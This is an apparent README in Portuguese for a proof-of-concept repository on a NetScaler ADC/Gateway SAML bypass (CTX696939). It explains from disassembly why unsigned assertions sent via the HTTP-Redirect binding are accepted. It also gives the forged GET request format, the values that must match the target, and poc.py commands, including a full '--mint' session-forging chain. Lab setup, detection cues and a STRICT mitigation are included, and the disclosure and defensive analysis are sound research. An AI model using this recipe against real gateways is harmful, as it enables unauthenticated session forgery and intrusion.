
NetScaler ADC/Gateway bypass de asserção SAML não assinada via binding HTTP-Redirect (CTX696939) - análise de causa raiz + PoC
Falsificação de sessão não autenticada no Citrix NetScaler ADC / NetScaler Gateway via
o manipulador de binding HTTP-Redirect SAML em GET /cgi/samlauth. CVSS 4.0 9.3, CWE-288.
Boletim CTX696939 (2026-08-19), sem workarounds. O crédito pelo relatório original vai
para Samarth Vashisht (equipe de pen-test do JPMorgan Chase); a análise de causa-raiz e o
código neste repositório são de minha autoria.
Afetados: 14.1 antes de 14.1-73.32, 13.1 antes de 13.1-63.21. Corrigido nessas duas versões.
Duas coisas dão errado juntas no nsppe, o motor de pacotes.
1. o binding de redirect analisa as asserções com o flag strict desativado.
Todos os pontos de chamada do parser de resposta SAML (sub_b40a50) configuram um
argumento "strict" antes da chamada. O caminho do binding POST (o que os navegadores
realmente usam para respostas SAML) o passa ativado. O caminho do binding HTTP-Redirect não:
$ objdump -d -M intel --start-address=0xb7f532 --stop-address=0xb7f558 nsppe-14.1-73.30
b7f532: 41 b8 00 00 00 00 mov r8d,0x0 <-- strict OFF
b7f538: 48 8d 8d d8 fe ff ff lea rcx,[rbp-0x128]
b7f53f: 48 8b 95 b8 fe ff ff mov rdx,[rbp-0x148]
b7f546: 8b b5 cc fe ff ff mov esi,[rbp-0x134]
b7f54c: 48 8b 3d f5 9f 6f 02 mov rdi,[rip+0x26f9ff5]
b7f553: e8 f8 14 fc ff call b40a50 <-- o parser
Esse é o caminho alternativo no sentido da CWE-288. Mesma superfície de requisição, invocação
de parser mais fraca, alcançável por qualquer pessoa que possa enviar um GET com um parâmetro
de consulta SAMLResponse.
2. a porta de verificação de asserção não assinada trata a configuração padrão como ALLOW.
Dentro do manipulador de redirect, quando a requisição não carrega SigAlg/Signature, a
palavra de configuração para rejectUnsignedAssertion é comparada e ramificada assim:
$ objdump -d -M intel --start-address=0xb7ee3b --stop-address=0xb7ee41 nsppe-14.1-73.30
b7ee3b: 83 78 08 02 cmp DWORD PTR [rax+0x8],0x2
b7ee3f: 74 5d je b7ee9e <-- pula para o caminho ACCEPT
Os valores da palavra são: 2 = rejectUnsignedAssertion ON (o padrão), 3 = STRICT.
O je envia 2 para aceitar. Apenas STRICT alcança a linha de log de negação:
$ strings -t x nsppe-14.1-73.30 | grep 'denying as per action'
2020998 SAMLIDP: Redirect Binding: Unsigned Assertion seen, denying as per action %s
Então, em uma máquina com configuração padrão, uma asserção não assinada entregue ao binding de redirect é analisada (strict desativado), aceita pela porta de não assinatura (ON mal interpretado como permitir) e então executa as etapas pós-análise comuns: verificações de emissor/audiência/sujeito contra a configuração da ação SAML, e então a construção da sessão a partir de campos fornecidos pelo atacante. Sem digest, sem verificação RSA, em qualquer ponto dessa rota. O binding POST não é afetado da mesma forma — ele passa strict ao parser e rejeita entrada não assinada corretamente.
Pré-condições conforme o boletim, confirmadas contra o binário: builds a partir de 14.1-43.56 / 13.1-61.28 precisam de uma ação SAML vinculada a um vserver Gateway ou AAA (a configuração normal de SSO SAML, então a maioria das implantações SAML se qualifica). Builds anteriores registram a rota apenas com o vserver.
Um único GET. Construa uma Resposta SAML sem nenhum <ds:Signature> em qualquer lugar,
aplique DEFLATE + base64 e envie:
GET /cgi/samlauth?SAMLResponse=<b64(raw-deflate(xml))>&RelayState=<ctx> HTTP/1.1
Host: <gateway>
Os valores que devem corresponder à configuração da ação SAML do alvo: Issuer da asserção = o
entity ID do IdP, Audience = o entity ID do SP, Recipient/Destination = a URL do ACS, e
em configurações transacionais um InResponseTo de uma AuthnRequest ativa. --mint percorre
o redirect de login pré-autenticação do próprio gateway para capturar esses valores (o
SAMLRequest no cabeçalho Location carrega todos eles). Um 302 para /vpn/ mais um cookie
NSC_AAAC / NSC_TASS real (não os marcadores de exclusão xyz) é uma sessão forjada como
qualquer NameID que você colocar.
pip install requests
# o endpoint existe e o binding GET processa SAMLResponse de alguma forma
python3 poc.py https://vpn.target.com --check-only
# sonda de configuração não intrusiva: asserção não assinada com um issuer deliberadamente ERRADO.
# 'Malformed Assertion' (0xe0005) -> STRICT, não vulnerável a este vetor
# erro de issuer/policy (0xe0012) -> configuração padrão, vulnerável; nenhuma sessão emitida
python3 poc.py https://vpn.target.com --safe-oracle
# cadeia completa (apenas alvos autorizados): emite a cadeia do SP, forja, valida uma vez
python3 poc.py https://vpn.target.com --mint --name-id [email protected]
--safe-oracle existe porque as duas configurações retornam páginas de erro diferentes antes
que qualquer coisa com formato de sessão aconteça, o que também é como os defensores podem
fazer autoverificação sem tocar em um IdP real. Execute-o contra seu próprio equipamento.
demo/demo.gif (também demo.mp4, e demo/demo.cast se quiser reproduzi-lo com
asciinema play): build afetado a partir da imagem docker, a configuração padrão de palavra-2,
os dois branches binários desmontados do nsppe enviado, e a verificação de endpoint do PoC.
A última milha, emissão de sessão, precisa de um VPX licenciado — o CPX Express recusa
sessões AAA na camada de licença — que é o que lab/record-demo.sh captura quando
você tem um.
lab/setup-cpx.sh sobe exatamente o build afetado no docker:
docker run -dt --privileged --name cpx19490 -e EULA=YES \
quay.io/netscaler/netscaler-cpx:14.1-73.30
bash lab/setup-cpx.sh
e configura uma ação SAML com rejectUnsignedAssertion ON, uma policy e um
vserver Gateway. Duas ressalvas aprendidas da maneira difícil:
/cgi/samlauth
mas toda requisição cai em 480 Login exceeds maximum allowed users. Bom o suficiente
para reproduzir configuração + endpoint + estado binário, não o cookie de sessão final.lab/record-demo.sh grava toda a
sequência asciinema: versão, configuração, safe-oracle, sessão forjada, controle negativo
STRICT.Os offsets do binário enviado acima vêm direto dessa imagem:
docker cp cpx19490:/var/netscaler/bins/nsppe ./nsppe-14.1-73.30
objdump -d -M intel --start-address=0xb7ee3b --stop-address=0xb7ee41 ./nsppe-14.1-73.30
set samlAction <name> -samlRejectUnsignedAssertion STRICT bloqueia o vetor de redirect
no caminho vulnerável (torna a palavra == 3). Esteja ciente de que STRICT também muda
o que a máquina espera do seu IdP (requisitos de assinatura de Response + Assertion),
o que presumivelmente é o motivo pelo qual a Citrix envia ON como padrão e por que
"apenas defina STRICT" não é um workaround limpo para todos./cgi/samlauth carregando SAMLResponse em GET (respostas de
binding de redirect são raras na natureza — navegadores fazem POST), payloads não
assinados e o diferencial de página de erro acima.Apenas para testes de segurança autorizados: seu próprio laboratório, ou alvos explicitamente no escopo de um programa no qual você está autorizado. O autor não é afiliado à Citrix nem à equipe de relato original.
Licença MIT, veja LICENSE.